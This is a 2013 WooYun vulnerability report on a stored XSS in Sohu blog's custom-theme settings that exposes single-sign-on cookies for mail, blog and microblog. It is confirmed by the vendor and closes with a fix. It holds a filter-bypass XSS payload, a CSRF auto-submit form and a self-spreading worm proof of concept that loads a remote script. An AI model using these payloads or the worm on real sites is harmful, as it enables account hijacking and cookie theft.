当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046327

漏洞标题:搜狐博客存储型xss1获取cookie可登录邮箱微博等(可蠕动)

相关厂商:搜狐

漏洞作者: D&G

提交时间:2013-12-18 11:41

修复时间:2014-02-01 11:42

公开时间:2014-02-01 11:42

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-18: 细节已通知厂商并且等待厂商处理中
2013-12-18: 厂商已经确认,细节仅向厂商公开
2013-12-28: 细节向核心白帽子及相关领域专家公开
2014-01-07: 细节向普通白帽子公开
2014-01-17: 细节向实习白帽子公开
2014-02-01: 细节向公众公开

简要描述:

talk is cheap

详细说明:

问题出在自定义主题:

blogxss4.png

选择自定义主题,抓包如下:

m=update&v=xml&css|#header|bgi=url("http://js1.pp.sohu.com.cn/ppp/blog/styles_ppp/images/custom/themesHeaderBg/1.jpg")&css|#header-bak|bgi=&css|#header|bgr=no-repeat&css|#header|bgp=left center&css|#header|h=200px&css|body|bgi=url("http://js1.pp.sohu.com.cn/ppp/blog/styles_ppp/images/custom/themesBodyBg/6.jpg")&css|body-bak|bgi=&css|body|bgr=repeat&css|body|bgp=left top

然后查看网页源代码,发现输出在style标签之间:

<style type="text/css" id="customTheme"> #header{background-repeat: no-repeat;} body{background-image: url("http://js1.pp.sohu.com.cn/ppp/blog/styles_ppp/images/custom/themesBodyBg/6.jpg");} #header{height: 200px;} #header{background-position: left center;} body{background-position: left top;} body{background-repeat: repeat;} #header{background-image: url("http://js1.pp.sohu.com.cn/ppp/blog/styles_ppp/images/custom/themesHeaderBg/1.jpg");} </style>

显然,css|#header|bgi=url("http://js1.pp.sohu.com.cn/ppp/blog/styles_ppp/images/custom/themesHeaderBg/1.jpg") 的输出对应#header{background-image: url("http://js1.pp.sohu.com.cn/ppp/blog/styles_ppp/images/custom/themesHeaderBg/1.jpg");} 经过测试发现这个参数是可控的。这时候当然是想到利用expression来执行javascript。但是用二哥的话说,expression不好玩。所以尝试闭合style标签。 这个点应该没有重点过滤,轻易就可以插入</style>标签。当尝试插入<script src=“”></script>的时候,发现输出进行了过滤。测试发现是过滤了

tag=×××

一但出现就会过滤掉=之后的内容。 可以采用编码绕过,以及http://zone.wooyun.org/content/9103 长短短大牛提供的牛逼的payload

<script></script><svg><script>document.scripts[0].src&#00000000000000000000061/data:,alert(1)/.source</script>

后续测试发现这个地方没有防御csrf,

<html> <body> <form id="wooyun" name="wooyun" action="http://test1alsdk.blog.sohu.com/manage/style.do" method="POST"> <input type="text" name="m" value="update" /> <input type="text" name="css|#header|bgi" value='url("http:11224156611")>*/alert(1)</script>' /> <input type="text" name="css|#header-bak|bgi" value="</style><script>/*" /> <input type="submit" value="submit"> </form> <script> document.long.submit(); </script> </body> </html>

可以csrf直接插入xss代码。 这个地方可以长期存在,修改主题也不会影响。只有下次重新自定义主题之后,xss代码才会被覆盖。 不过既然有xss了。蠕虫传播起来应该也不困难。csrf只是让事情变的更简单了。
csrf测试代码:

<html>
<body>
<form id="wooyun" name="wooyun" action="http://blog.sohu.com/manage/style.do" method="POST">
<input type="text" name="m" value="update" />
<input type="text" name="css|#header|bgi" value='url("http:11224156611")>*/alert(34433)</script>' />
<input type="text" name="css|#header-bak|bgi" value="</style><script>/*" />
<input type="submit" value="submit">
</form>
<script>
document.long.submit();
</script>
</body>
</html>


关于cookie:sohu的cookie是一站式cookie,有效的cookie可以登录博客,微薄,相册,邮箱。也就是说一个xss操作所有这些业务点了。
蠕虫没有测试,定向测试了一下cookie的有效性。
截图如下:

blogxss13.png


blogxss14.png


blogxss15.png


blogxss16.png


blogxss17.png


blogxss18.png


关于蠕虫,这个确实没有测试,只用小号验证了下有效性。修改主题只需要post数据包到:http://blog.sohu.com/manage/style.do即可。
poc代码:

<script>
var ajaxPost = null
function postUrl(post_url,postStr) //通过Ajax请求POST到远程
{
if(window.XMLHttpRequest){
ajaxPost = new XMLHttpRequest();
}else if(window.ActiveXObject)
{
ajaxPost = new ActiveXObject("Microsoft.XMLHTTP");
}else
{
return ""
}
ajaxPost.open("POST",post_url,true)
ajaxPost.withCredentials = "true";
ajaxPost.setRequestHeader("Content-Type","application/x-www-form-urlencoded")
ajaxPost.send(postStr)
}
postUrl("http://blog.sohu.com/manage/style.do","m=update&css%7C%23header%7Cbgi=url%28%22http%3A11224156611%3Cscript%3E%3C%2Fscript%3E%3Csvg%3E%3Cscript%3Edocument.scripts%5B1%5D.src%26%2300000000000000000000061http%3A%2F%2Ft.cn%2F987654321%3C%2Fscript%3E%22)%0A%3C%2Fscript%3E")
</script>


这个地方可以隐蔽传播,因为表面看不出变化来。

漏洞证明:

blogxss15.png


blogxss16.png

修复方案:

输入过滤以及输出编码

版权声明:转载请注明来源 D&G@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-12-18 12:41

厂商回复:

感谢支持。

最新状态:

暂无